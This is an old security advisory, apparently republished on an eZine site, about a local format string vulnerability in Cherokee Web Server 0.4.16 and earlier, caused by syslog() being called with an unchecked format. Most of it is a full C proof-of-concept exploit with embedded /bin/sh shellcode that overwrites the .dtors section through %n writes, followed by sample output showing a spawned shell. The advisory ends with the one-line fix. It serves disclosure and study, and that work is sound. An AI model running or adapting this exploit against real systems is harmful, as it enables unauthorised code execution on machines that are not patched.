Copy Link
Add to Bookmark
Report

03 - Format String Vulnerability on Cherokee Web Server 0.4.16 and prev. linux

eZine's profile picture
Published in 
Advisory
 · 19 Dec 2022

No System Group - Advisory #03 - 17/04/04

  • Program: Cherokee Web Server
  • Homepage: http://www.0x50.org
  • Vulnerable Versions: Cherokee 0.4.16 and prior
  • Risk: Low / Medium
  • Impact: Local Format String Vulnerability

DESCRIPTION

Cherokee is a tiny, very fast, lightweight Web server. It is implemented entirely in C, and has no dependencies beyond a standard C library. It is embeddable, extensible with plug-ins, and supports on-the-fly configuration by reading files or strings.

More informations at: http://www.0x50.org

DETAILS

Cherokee Web Server is affected by a format string bug in the PRINT_ERROR() function to 66 lines of common.c code:

--- common.c --- 
55: void
56: PRINT_ERROR (const char *format, ...)
57: {
58: va_list arg_list;
59: CHEROKEE_TEMP(tmp, 2048);
60:
61: va_start(arg_list, format);
62: vsnprintf (tmp, tmp_size, format, arg_list);
63: va_end(arg_list);
64:
65: fprintf (stderr, "%s", tmp);
66: syslog (LOG_ERR, tmp); // The bug
67: }
--- common.c ---

We can show some parts of the stack memory by using a format string like this:

coki@servidor:~$ cherokee -C AAAA%08x 
Can't read the configuration file: 'AAAA%08x'
coki@servidor:~$ tail -n 1 /var/log/syslog
Apr 17 15:03:25 servidor cherokee: Can't read the configuration file: 'AAAA0804b780'
coki@servidor:~$


EXPLOIT

---------------- cherokee_exp.c ----------------- 
/* cherokee_exp.c

Cherokee Web Server Format String Vulnerability

Cherokee <= 0.4.16 local exploit (Proof of Concept)

Tested in Slackware 9.0.0 and Slackware 9.1.0

by CoKi <coki@nosystem.com.ar>
No System Group - http://www.nosystem.com.ar
*/


#include <stdio.h>
#include <string.h>

#define PATH "/usr/local/bin/cherokee"
#define OBJDUMP "/usr/bin/objdump"
#define GREP "/usr/bin/grep"

unsigned char shellcode[]= /* aleph1 shellcode.45b */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e"
"\x2f\x73\x68";

int check(unsigned long addr);

int main(int argc, char *argv[]) {

int i, dtorsaddr;
unsigned int bal1, bal2, bal3, bal4;
char temp[512];
char buffer[1024];
char nop1[255], nop2[255];
char nop3[255], nop4[255];
int cn1, cn2, cn3, cn4;
FILE *f;
char *env[3] = {shellcode, NULL};
int shaddr = 0xbffffffa - strlen(shellcode) - strlen("/usr/local/bin/cherokee");

/* finding .dtors address */
sprintf(temp, "%s -s -j .dtors %s | %s ffffffff", OBJDUMP, PATH, GREP);
f = popen(temp, "r");
if(fscanf(f, " %08x", &dtorsaddr) != 1) {
pclose(f);
printf("Cannot find .dtors address\n");
exit(1);
}
pclose(f);
dtorsaddr = dtorsaddr + 4;

printf("\n Cherokee <= 0.4.16 local exploit (Proof of Concept)\n");
printf(" by CoKi <coki@nosystem.com.ar>\n\n");
printf(" shellcode address = %.8p\n", shaddr);
printf(" .dtors address = %.8p\n\n", dtorsaddr);

bzero(temp, sizeof(temp));
bzero(buffer, sizeof(buffer));

/* adding .dtors address */
for(i = 0; i < 4; i++) {
bzero(temp, sizeof(temp));
sprintf(temp, "%s", &dtorsaddr);
strncat(buffer, temp, 4);
dtorsaddr++;
}

/* convert buffer address location */
memset(nop1, 0, 255);
memset(nop2, 0, 255);
memset(nop3, 0, 255);
memset(nop4, 0, 255);

bal1 = (shaddr & 0xff000000) >> 24;
bal2 = (shaddr & 0x00ff0000) >> 16;
bal3 = (shaddr & 0x0000ff00) >> 8;
bal4 = (shaddr & 0x000000ff);

cn1 = bal4 - 16 - 36 - 88 - 2;
cn1 = check(cn1);
cn2 = bal3 - bal4 - 2;
cn2 = check(cn2);
cn3 = bal2 - bal3 - 2;
cn3 = check(cn3);
cn4 = bal1 - bal2 - 2;
cn4 = check(cn4);

memset(nop1, '\x90', cn1);
memset(nop2, '\x90', cn2);
memset(nop3, '\x90', cn3);
memset(nop4, '\x90', cn4);

sprintf(temp, "%%08x%%08x%%08x%%08x%%08x%%08x"
"%%08x%%08x%%08x%%08x%%08x"
"%s\xeb\x02%%n"
"%s\xeb\x02%%n"
"%s\xeb\x02%%n"
"%s\xeb\x02%%n\x90\x90\x90\x90"
,nop1, nop2, nop3, nop4);

strcat(buffer, temp);

execle(PATH, "cherokee", "-C", buffer, NULL, env);
}

int check(unsigned long addr) {
char tmp[128];
snprintf(tmp, sizeof(tmp), "%d", addr);
if(atoi(tmp) < 1)
addr = addr + 256;

return addr;
}
---------------- cherokee_exp.c -----------------

coki@servidor:~$ make cherokee_exp
coki@servidor:~$ ./cherokee_exp

Cherokee <= 0.4.16 local exploit (Proof of Concept)
by CoKi <coki@nosystem.com.ar>

shellcode address = 0xbfffffb6
.dtors address = 0x0804c590

Can't read the configuration file: '....%08x%08x%08x%
08x%08x%08x%08x%08x%08x%08x%08x......................
.....................................................
.....................................................
.................'
sh-2.05b$

This exploit does not give a root shell :(
Tested in Slackware Linux 9.0.0 and 9.1.0

SOLUTIONS

Change the PRINT_ERROR() function of common.c code:

--- common.c --- 
55: void
56: PRINT_ERROR (const char *format, ...)
57: {
58: va_list arg_list;
59: CHEROKEE_TEMP(tmp, 2048);
60:
61: va_start(arg_list, format);
62: vsnprintf (tmp, tmp_size, format, arg_list);
63: va_end(arg_list);
64:
65: fprintf (stderr, "%s", tmp);
66: syslog (LOG_ERR, "%s", tmp); // It's ok
67: }
--- common.c ---


REFERENCES

http://www.nosystem.com.ar/advisories/advisory-03.txt

CREDITS

Discovered by CoKi <coki@nosystem.com.ar>

No System Group - http://www.nosystem.com.ar

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT